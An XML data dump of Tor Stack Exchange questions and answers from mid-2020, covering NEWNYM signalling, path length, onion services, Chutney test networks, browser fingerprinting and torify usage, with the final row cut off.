  <row Id="21372" PostTypeId="2" ParentId="21370" CreationDate="2020-06-26T04:52:14.093" Score="0" Body="&lt;p&gt;The best way to do this is to watch for the &lt;code&gt;650 SIGNAL NEWNYM&lt;/code&gt; message. You can see &lt;a href=&quot;https://github.com/torproject/tor/blob/a65efa7e8378fa470b7312509eecf92aa029817f/src/core/mainloop/mainloop.c#L1289&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; in &lt;code&gt;signewnym_impl()&lt;/code&gt; that the control event is sent only after Tor's circuit states have been changed. It may take some time for this to occur, especially if the event is deferred. This is backed up by the control-spec, which &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n3174&quot; rel=&quot;nofollow noreferrer&quot;&gt;says&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;4.1.17. Signal received&lt;/p&gt;&#xA;&lt;p&gt;The syntax is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;quot;650&amp;quot; SP &amp;quot;SIGNAL&amp;quot; SP Signal CRLF&#xA;&#xA; Signal = &amp;quot;RELOAD&amp;quot; / &amp;quot;DUMP&amp;quot; / &amp;quot;DEBUG&amp;quot; / &amp;quot;NEWNYM&amp;quot; / &amp;quot;CLEARDNSCACHE&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;A signal has been received and actions taken by Tor.&lt;/strong&gt; The meaning of each&#xA;signal, and the mapping to Unix signals, is as defined in section 3.7.&#xA;Future versions of Tor MAY generate signals other than those listed here;&#xA;controllers MUST be able to accept them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;If Tor chose to ignore a signal (such as NEWNYM), this event will not be&#xA;sent.&lt;/strong&gt;  Note that some options (like ReloadTorrcOnSIGHUP) may affect the&#xA;semantics of the signals here.&lt;/p&gt;&#xA;&lt;p&gt;Note that the HALT (SIGTERM) and SHUTDOWN (SIGINT) signals do not currently&#xA;generate any event.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-26T04:52:14.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21373" PostTypeId="2" ParentId="21353" CreationDate="2020-06-26T13:06:27.993" Score="1" Body="&lt;p&gt;What you're asking is, has anyone done a thorough professional test of the git cli for leaks and the answer is probably no they haven't so you can't be 100% conclusively sure it is &amp;quot;safe&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Of course, Linus Torvalds himself wrote Git and so it is open source. The source code can always be honest and you can reach out to the Tor community via the mailing lists or IRC chat to see if anyone has any doubts about it.&lt;/p&gt;&#xA;&lt;p&gt;As a side note. If you signed up to Github, Gitlab, etc. without Tor, they already know your IP so then the point is moot. The only way to be 100% sure is to run your own Gitlab or other git-based service. As a matter of fact, The Tor Project is moving to their own internal gitlab instance instead of the old source control platform.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-26T13:06:27.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21374" PostTypeId="1" CreationDate="2020-06-26T20:58:31.760" Score="0" ViewCount="775" Body="&lt;p&gt;I am using Tor only as a cheap proxy. I want to avoid the target website from knowing my IP address and my threat vector does not include any other types of surveillance.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to switch to one-hop so that I can have better performance and use less resources?&lt;/p&gt;&#xA;" OwnerUserId="23450" LastActivityDate="2020-06-27T06:00:08.470" Title="Configure for one hop only" Tags="|network-configuration|one-hop|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21375" PostTypeId="2" ParentId="21374" CreationDate="2020-06-26T21:25:15.253" Score="1" Body="&lt;p&gt;This is disallowed by all standard relays in the network. There used to be a &lt;code&gt;AllowSingleHopCircuits&lt;/code&gt; option that relays could set to allow this, but it &lt;a href=&quot;https://github.com/torproject/tor/commit/d52a1e2faaf0edf8f5899c6fa9864d0cecebf692&quot; rel=&quot;nofollow noreferrer&quot;&gt;was removed&lt;/a&gt; several years ago.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-26T21:25:15.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21377" PostTypeId="2" ParentId="21374" CreationDate="2020-06-27T06:00:08.470" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://2019.www.torproject.org/docs/faq.html.en#ChoosePathLength&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt; talks about this.&lt;/p&gt;&#xA;&lt;p&gt;You should let people choose their path length.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Right now the path&#xA;length is hard-coded at 3 plus the number of nodes in your path that&#xA;are sensitive. That is, in normal cases it's 3, but for example if&#xA;you're accessing an onion service or a &amp;quot;.exit&amp;quot; address it could be 4.&lt;/p&gt;&#xA;&lt;p&gt;We don't want to encourage people to use paths longer than this — it&#xA;increases load on the network without (as far as we can tell)&#xA;providing any more security. Remember that the best way to attack Tor&#xA;is to attack the endpoints and ignore the middle of the path. Also,&#xA;using paths longer than 3 could harm anonymity, first because it makes&#xA;&amp;quot;denial of security&amp;quot; attacks easier, and second because it could act&#xA;as an identifier if only a few people do it (&amp;quot;Oh, there's that person&#xA;who changed her path length again&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;And we don't want to encourage people to use paths of length 1 either.&#xA;Currently there is no reason to suspect that investigating a single&#xA;relay will yield user-destination pairs, but if many people are using&#xA;only a single hop, we make it more likely that attackers will seize or&#xA;break into relays in hopes of tracing users.&lt;/p&gt;&#xA;&lt;p&gt;Now, there is a good argument for making the number of hops in a path&#xA;unpredictable. For example, somebody who happens to control the last&#xA;two hops in your path still doesn't know who you are, but they know&#xA;for sure which entry node you used. Choosing path length from, say, a&#xA;geometric distribution will turn this into a statistical attack, which&#xA;seems to be an improvement. On the other hand, a longer path length is&#xA;bad for usability, and without further protections it seems likely&#xA;that an adversary can estimate your path length anyway. We're not sure&#xA;of the right trade-offs here. Please write a research paper that tells&#xA;us what to do.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-06-27T06:00:08.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21378" PostTypeId="2" ParentId="4125" CreationDate="2020-06-28T11:03:46.737" Score="0" Body="&lt;p&gt;In windows 10, I could not set TOR Browser as a default browser no matter what for simple reason TOR is not installed as an application in the system, it is installed as independent application that gives TOR Browser anonymity. Unless someone has more knowledge !&lt;/p&gt;&#xA;" OwnerUserId="30509" LastActivityDate="2020-06-28T11:03:46.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21380" PostTypeId="1" CreationDate="2020-06-29T06:10:26.237" Score="1" ViewCount="271" Body="&lt;p&gt;I wanna set up a onion server at home . But does  my ISP know that ??&lt;/p&gt;&#xA;" OwnerUserId="30514" LastActivityDate="2020-11-27T01:01:25.217" Title="Does ISP know I have an onion server if I set up a onion website at home?" Tags="|onion-routing|website|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21382" PostTypeId="2" ParentId="21380" CreationDate="2020-06-30T00:03:13.203" Score="1" Body="&lt;p&gt;It is generally easy for an ISP to tell that you're connecting to the Tor network. Tor onion service traffic looks similar to Tor client proxy traffic, so it shouldn't be immediately obvious to your ISP that you're running an onion service (compared to acting as a Tor client). They may be able to infer it's an onion service based on traffic patterns. For example, web servers typically send much more data than they receive, so if they observe that you're sending large amounts of traffic to the Tor network, they may assume you're running an onion service. Using a bridge may help hide that you're accessing the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;So to answer your question: yes they can (or they can at least infer it), but it depends on if they're actively looking for people running onion services.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-06-30T00:03:13.203" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21383" PostTypeId="1" CreationDate="2020-06-30T18:32:45.733" Score="0" ViewCount="245" Body="&lt;p&gt;I'm using Tor browser initiated through Firefox v68.9.0esr and Brave Version 1.10.97 Chromium: 83.0 interchangeably for quite some time now.&lt;/p&gt;&#xA;&lt;p&gt;While automating I'm able to able to start a Mozilla based &lt;em&gt;TOR&lt;/em&gt; browser using&#xA;&lt;a href=&quot;https://www.selenium.dev/documentation/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Selenium&lt;/a&gt; but as a &lt;em&gt;proof of concept&lt;/em&gt; I want to start a &lt;em&gt;Brave&lt;/em&gt; browser based &lt;em&gt;TOR&lt;/em&gt; enabled session.&lt;/p&gt;&#xA;&lt;p&gt;I know there are some difference but I'm yet to come to a conclusion about the difference between the two configuration / implementation. Can someone help me out please?&lt;/p&gt;&#xA;&lt;p&gt;Snapshot of Tor browser initiated by Firefox v68.9.0esr:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D60aB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D60aB.png&quot; alt=&quot;tor_esr&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Snapshot of Tor browser initiated by Brave Version 1.10.97 Chromium: 83.0:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/do5xk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/do5xk.png&quot; alt=&quot;tor_brave&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19282" LastEditorUserId="19282" LastEditDate="2020-07-03T12:18:13.500" LastActivityDate="2022-03-26T18:02:20.230" Title="What is the difference between the Tor browser initiated by Firefox v68.9.0esr and Brave Version 1.10.97 Chromium: 83.0?" Tags="|configuration|firefox|browsers|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="21384" PostTypeId="1" CreationDate="2020-06-30T21:59:59.813" Score="0" ViewCount="129" Body="&lt;p&gt;I've just set up my first Tor node in my home (non-exit) and it seems to be working great, no issues setting it up. It was actually really easy which is awesome.&lt;/p&gt;&#xA;&lt;p&gt;I have a question about one piece of info shown on the Nyx connections tab though.&lt;/p&gt;&#xA;&lt;p&gt;The second to last column of every connection shows a number like &lt;code&gt;2.1m&lt;/code&gt;, &lt;code&gt;+34.2m&lt;/code&gt;, or &lt;code&gt;14.4m&lt;/code&gt;. I first thought it was the connection time but new ones seem to pop onto the list with numbers higher than 0/1 so I don't think it's that, and not sure what the + would mean in that case either.&lt;/p&gt;&#xA;&lt;p&gt;Could someone shed some light on it. The Nyx website doesn't really offer any descriptions about the information it displays.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30522" LastActivityDate="2020-06-30T21:59:59.813" Title="Question about Nyx connections tab" Tags="|nyx|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21389" PostTypeId="1" CreationDate="2020-07-01T14:07:36.023" Score="0" ViewCount="223" Body="&lt;p&gt;I have setup a Chutney tool successfully and was wondering if I can route my traffic through a Chutney-made network and to the internet. I was going to test that using TorBrowser and providing custom bridge in the browser tor settings.&lt;/p&gt;&#xA;&lt;p&gt;For the network setup I used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./chutney configure networks/bridges-min&#xA;./chutney start networks/bridges-min&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;./chutney status networks/bridges-min&lt;/code&gt; gives me information about a network made of 7 tor instances:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;test000a     is running with PID 20520: Tor 0.4.3.5.&#xA;test001a     is running with PID 20523: Tor 0.4.3.5.&#xA;test002a     is running with PID 20526: Tor 0.4.3.5.&#xA;test003ba    is running with PID 20529: Tor 0.4.3.5.&#xA;test004r     is running with PID 20535: Tor 0.4.3.5.&#xA;test005br    is running with PID 20538: Tor 0.4.3.5.&#xA;test006bc    is running with PID 20541: Tor 0.4.3.5.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, I assumed &lt;code&gt;test005br&lt;/code&gt; is a bridge. I figured out it's port and provided to the TorBrowser a following bridge info:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;127.0.0.1:5005&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using TorBrowser I opened a random website and checked the Tor Circuit info and it tells me that indeed my first hop is a &amp;quot;Bridge&amp;quot; (I assume, it's my Chutney bridge). But next hops are real Tor Nodes out in the wild, not the test nodes in my network! I surely didn't expect that.&lt;/p&gt;&#xA;&lt;p&gt;So, why is my Chutney network connecting to the main Tor network (or it seems so to me)? Can I prevent that and use only my local network to access the internet through it?&lt;/p&gt;&#xA;" OwnerUserId="30470" LastActivityDate="2020-07-01T14:07:36.023" Title="TorBrowser connected through Chutney uses real external Tor nodes" Tags="|tor-browser-bundle|bridge|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21393" PostTypeId="2" ParentId="21383" CreationDate="2020-07-04T09:05:24.987" Score="0" Body="&lt;p&gt;This question has already been &lt;a href=&quot;https://tor.stackexchange.com/questions/21244/tor-vs-brave-which-is-technically-more-effective-to-hinder-user-tracking-fin&quot;&gt;answered&lt;/a&gt; but because you have a bounty, I can't mark it as such.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/brave/brave-browser/wiki/Fingerprinting-Protections&quot; rel=&quot;nofollow noreferrer&quot;&gt;Brave&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Brave includes best-effort defense against browser fingerprinting.&#xA;Broadly speaking, browser fingerprinting is the detection of browser&#xA;and operating system features that differ between users for the&#xA;purpose of covertly identifying users and tracking them across the&#xA;web. Although fingerprinting attacks will always be possible, it is&#xA;worthwhile for us to make these attacks as slow / costly / difficult&#xA;as possible.&lt;/p&gt;&#xA;&lt;p&gt;Brave includes two types of fingerprinting protections, (i) blocking,&#xA;removing or modifying APIs, to make Brave instances look as similar as&#xA;possible, and (ii) randomizing values from APIs, to prevent cross&#xA;session and site linking (e.g. making Brave instances look different&#xA;to websites each time).&lt;/p&gt;&#xA;&lt;p&gt;In cases where we block, remove or modify API behavior, we attempt to&#xA;return empty, or non-identifying values, that have the &amp;quot;shape&amp;quot; of&#xA;expected values, to minimize web compatibility issues.&lt;/p&gt;&#xA;&lt;p&gt;In cases where we randomize API values, we attempt to make&#xA;modifications that are imperceivable to humans, but distinguishing to&#xA;computers / fingerprinters. These randomization values are derived&#xA;from a seed that changes per session, and per eTLD+1. Third party&#xA;frames and script share the seed value of the top level, eTLD+1&#xA;domain. This approach is especially useful in fingerprinters that hash&#xA;together a large number of semi-identifiers into a single identifier,&#xA;since randomizing just one value &amp;quot;poisons&amp;quot; the entire fingerprint.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Tor takes a different approach. It seeks to make everyone look exactly the same. If you modify the Tor Browser with addons, etc, you start to look different to a web server and therefore you are more easily picked out.&lt;/p&gt;&#xA;&lt;p&gt;Tor Browser is dedicated to Anonymity. That is its single goal.&#xA;Brave is a general purpose browser and is not dedicated to anonymity.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-07-04T09:05:24.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21398" PostTypeId="2" ParentId="4221" CreationDate="2020-07-07T11:42:15.587" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;I have tried: sudo apt-get update   and&lt;/li&gt;&#xA;&lt;li&gt;sudo apt-get upgrade&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Both have worked fine and the update/upgrade in     Tails 4.8 is permanent. I have checked it!&lt;/p&gt;&#xA;&lt;p&gt;But first you have to set a password for the administrator when Tails start.&lt;/p&gt;&#xA;" OwnerUserId="30555" LastActivityDate="2020-07-07T11:42:15.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21399" PostTypeId="1" CreationDate="2020-07-08T11:48:03.867" Score="0" ViewCount="507" Body="&lt;p&gt;Preferable a safe plugin to tor browser.&#xA;HK sucks right now and I think it will only get worse.&lt;/p&gt;&#xA;" OwnerUserId="30561" LastActivityDate="2021-04-06T09:56:59.977" Title="Is there any easy download manager that currently works with tor on a linux machine?" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21400" PostTypeId="2" ParentId="21399" CreationDate="2020-07-08T16:32:09.817" Score="1" Body="&lt;p&gt;There are no safe plugins except those that come with Tor Browser because none of the others have been tested to confirm that they are safe.&lt;/p&gt;&#xA;&lt;p&gt;Personally, I sometimes use torsocks with wget. It's more powerful than a lot of download managers, it just has a higher learning curve. Note: I use Linux so that might not be an option for you unless you want to learn WSL or have a Mac.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-07-08T16:32:09.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21401" PostTypeId="2" ParentId="9520" CreationDate="2020-07-09T15:14:47.587" Score="0" Body="&lt;p&gt;I used this method..have to change the NoNewPrivileges=yes to NoNewPrivileges=no&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30566" LastActivityDate="2020-07-09T15:14:47.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21402" PostTypeId="1" CreationDate="2020-07-10T03:32:07.640" Score="0" ViewCount="492" Body="&lt;p&gt;I am changing to a new network with Sky but my Tor keeps switching it off and says &lt;code&gt;Disable Network set&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I have upgraded to Sky Q and have a new hub which means a new network.&lt;/p&gt;&#xA;" OwnerUserId="30570" LastEditorUserId="30510" LastEditDate="2020-07-10T11:43:45.830" LastActivityDate="2020-07-10T11:43:45.830" Title="Disable Network Set" Tags="|connection|" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="21403" PostTypeId="1" AcceptedAnswerId="21404" CreationDate="2020-07-10T08:57:26.517" Score="2" ViewCount="579" Body="&lt;p&gt;This might is a bad question, but I'm using Tor to still access clearnet websites like &lt;code&gt;duckduckgo.com&lt;/code&gt; and since there is also an onion version, here's my question:&lt;/p&gt;&#xA;&lt;p&gt;Is there a difference between using &lt;code&gt;duckduckgo.com&lt;/code&gt; and the onion version &lt;code&gt;duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion&lt;/code&gt; (previously &lt;code&gt;3g2upl4pq6kufc4m.onion&lt;/code&gt;) in privacy and safety?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="30510" LastEditorUserId="30510" LastEditDate="2022-04-17T15:21:39.587" LastActivityDate="2022-04-17T15:21:39.587" Title="Are '.onion' websites safer/better than 'normal' clearnet websites like '.com'?" Tags="|darknet|clear-net|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21404" PostTypeId="2" ParentId="21403" CreationDate="2020-07-10T14:44:42.193" Score="2" Body="&lt;p&gt;Short answer: Using the .onion links can only increase your security or do no harm (the security stay the same). Use them as much as possible.&lt;/p&gt;&#xA;&lt;p&gt;Long answer: It depends on what your threat model is. If it includes someone have already hacked your computer (or the website have some of your private data but may betray on you), then no the .onion sites are not and won't be any safer than the clearnet version. But if your threat model only includes not logged-in websites stealing your data or some three-letter agency ease dropping on your metadata. Then yes, the the .onion are a lot safer. This is what Tor is built for - stopping people knowing who you are, who you are talking to and what you are talking about.&lt;/p&gt;&#xA;" OwnerUserId="30201" LastActivityDate="2020-07-10T14:44:42.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21407" PostTypeId="1" CreationDate="2020-07-11T16:18:02.457" Score="0" ViewCount="2538" Body="&lt;p&gt;I have already attempted to&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;A:&lt;/strong&gt; Change &lt;code&gt;torrc&lt;/code&gt; file located at &lt;code&gt;/data/data/org.torproject.torbrowser/app_torservice/torrc&lt;/code&gt;, but this file is rewritten at app launch.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;B:&lt;/strong&gt; Do the same but “live”, (i.e. browser running) hoping that when it changes nodes every so often as it does, it will use the new configuration specified.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;C:&lt;/strong&gt; Tried editing the apk &lt;code&gt;torrc&lt;/code&gt; file located in assets and installing modified apk. But none of these have worked. I read somewhere that what I want to do is “impossible” but I find that hard to believe, usually when I hear people say this it’s usually just cause they don't know how.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also, I am putting the exit-relay tag since the question is specifically related to exits but there is no &lt;code&gt;exitnode&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="28405" LastEditorUserId="22877" LastEditDate="2023-02-25T17:18:28.390" LastActivityDate="2023-02-25T17:18:28.390" Title="How can I configure android Tor browser version 9.5 to use my prefered exitnodes?" Tags="|configuration|exit-relays|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21410" PostTypeId="1" CreationDate="2020-07-12T13:13:30.353" Score="0" ViewCount="70" Body="&lt;p&gt;Is it kind of normal experience?&#xA;When I'm just on static, already downloaded page or default Tor browser page, in network statistics on PC every ~5-10-20 sec small unidentified packets send or receive some unclear data.&lt;/p&gt;&#xA;" OwnerUserId="30580" LastActivityDate="2021-12-04T21:01:10.137" Title="obfs4 bridge every 10-20 seconds send and receive some data on static or default browser pages" Tags="|onion-routing|obfs4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21411" PostTypeId="1" CreationDate="2020-07-12T18:27:18.113" Score="0" ViewCount="871" Body="&lt;p&gt;Operating system:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Ubuntu 20.04 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;uname -r:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;5.4.0-40-generic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Tor installed via &lt;code&gt;sudo apt-get install tor&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;tor version: &lt;code&gt;0.4.2.7.&lt;/code&gt;&#xA;Command used to start tor: &lt;code&gt;sudo service tor start&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Status output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;● tor.service - Anonymizing overlay network for TCP (multi-instance-master)&#xA;     Loaded: loaded (/lib/systemd/system/tor.service; enabled; vendor preset: enabled)&#xA;     Active: active (exited) since Sun 2020-07-12 20:21:11 CEST; 51s ago&#xA;    Process: 24521 ExecStart=/bin/true (code=exited, status=0/SUCCESS)&#xA;   Main PID: 24521 (code=exited, status=0/SUCCESS)&#xA;&#xA;Jul 12 20:21:11 XXXXX systemd[1]: Starting Anonymizing overlay network for TCP (multi-instance-master)...&#xA;Jul 12 20:21:11 XXXXX systemd[1]: Finished Anonymizing overlay network for TCP (multi-instance-master).&#xA; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: There doesn't seem to be any routing going on. If I go to a website that displays my IP, it's the same with or without tor, from which I deduce that &lt;code&gt;tor&lt;/code&gt; isn't working properly.&lt;/p&gt;&#xA;&lt;p&gt;PS. I know tor-browser, and know how to use it. But in this case, I would like to run an application other than a browser through the tor network. How do I configure it to route properly?&lt;/p&gt;&#xA;" OwnerUserId="30582" LastActivityDate="2020-07-13T07:47:43.083" Title="tor isn't routing, how do I configure it?" Tags="|tor-install|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21412" PostTypeId="2" ParentId="21410" CreationDate="2020-07-12T18:50:57.077" Score="1" Body="&lt;p&gt;There are a few things that could affect traffic timing:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Javascript, especially for advertisements, could be periodically uploading/downloading data (for example reporting back to the ad service or downloading new images).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor itself sends padding cells randomly following the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/padding-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;padding spec&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Obfs4 can delay traffic, but I don't believe it sends its own periodic cover traffic.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;So my guess is that you're seeing Tor's padding traffic. If you disable Obfs4, you should still see this traffic.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-07-12T18:50:57.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21413" PostTypeId="2" ParentId="21411" CreationDate="2020-07-13T07:47:43.083" Score="1" Body="&lt;p&gt;It turns out, the &amp;quot;error&amp;quot; was in not understanding how applications can be run with networking via the tor network. Rather than running all network traffic through tor after installing and starting tor, the user has to explicitly run individual applications with networking through &lt;code&gt;tor&lt;/code&gt;. By default, all applications will communicate through the &amp;quot;normal&amp;quot; network, i.e. no tor.&lt;/p&gt;&#xA;&lt;p&gt;To run an application through tor, the command has to be &amp;quot;prefixed&amp;quot; with &lt;code&gt;torify&lt;/code&gt;, i.e.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torify &amp;lt;app&amp;gt; [arguments]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To give an example that demonstrates running with and without tor, consider &amp;quot;obtaining&amp;quot; your IP with &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl ifconfig.me&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above should display your &amp;quot;normal&amp;quot; IP address. Now try&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;torify curl ifconfig.me&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The latter should display an IP different from the one above, demonstrating that you are know fetching the page via the tor network.&lt;/p&gt;&#xA;" OwnerUserId="30582" LastActivityDate="2020-07-13T07:47:43.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21414" PostTypeId="2" ParentId="15064" CreationDate="2020-07-13T14:36:46.053" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes if you also install the tor configuration package - if you ar using linux just go to the add/remove software api and search for tor. otherwise go to &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/micahflee/torbrowser-launcher&lt;/a&gt; and &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/&lt;/a&gt; and make sure you have installed the Tor brwoser launch settings.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I dont know that - in theory you could try to fuck around the application it self and set some new defaults&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30586" LastActivityDate="2020-07-13T14:36:46.053" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21415" PostTypeId="1" CreationDate="2020-07-13T19:10:14.147" Score="1" ViewCount="398" Body="&lt;p&gt;I noticed a significant variance in bandwidth with different TOR circuits. Some are fast enough for streaming HD videos, while others take ages just loading web pages unless Javascript is deactivated. Therefore, when first launching the TOR browser, I usually keep hitting the &amp;quot;New Identity&amp;quot; button (which AFAIK builds a new circuit) until the loading time for a certain web page is reasonably short. In most cases, this takes 4-5 attempts. The difference in speed can be huge, so I always do this before streaming media or browsing script-heavy sites.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to automatize this startup procedure, i.e. have the TOR browser start, build a circuit, gauge the bandwidth, and build a new circuit if a certain bandwidth threshold isn't reached? Could this, for instance, be done with a Bash or Python script?&lt;/p&gt;&#xA;&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;i==0;&#xA;WHILE i &amp;lt; 10:&#xA;    START tor_browser&#xA;    DOWNLOAD https://blah.com/test.png&#xA;    bw = DOWNLOAD.bandwidth()&#xA;    IF bw &amp;gt; bw_min:    #e.g. 2 Mbps&#xA;        BREAK&#xA;    ELSE:&#xA;        QUIT tor_browser&#xA;    i++1&#xA;END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where would one even start? Does the TOR browser have an API that can interface e.g. with Python? How does one make the browser download a file (in contrast to using &lt;code&gt;curl&lt;/code&gt; or the like) and how measure the bandwidth? Is it something like &amp;quot;TOR uses a certain port and there exists a Python package that can monitor the traffic through it&amp;quot;?&lt;/p&gt;&#xA;" OwnerUserId="28784" 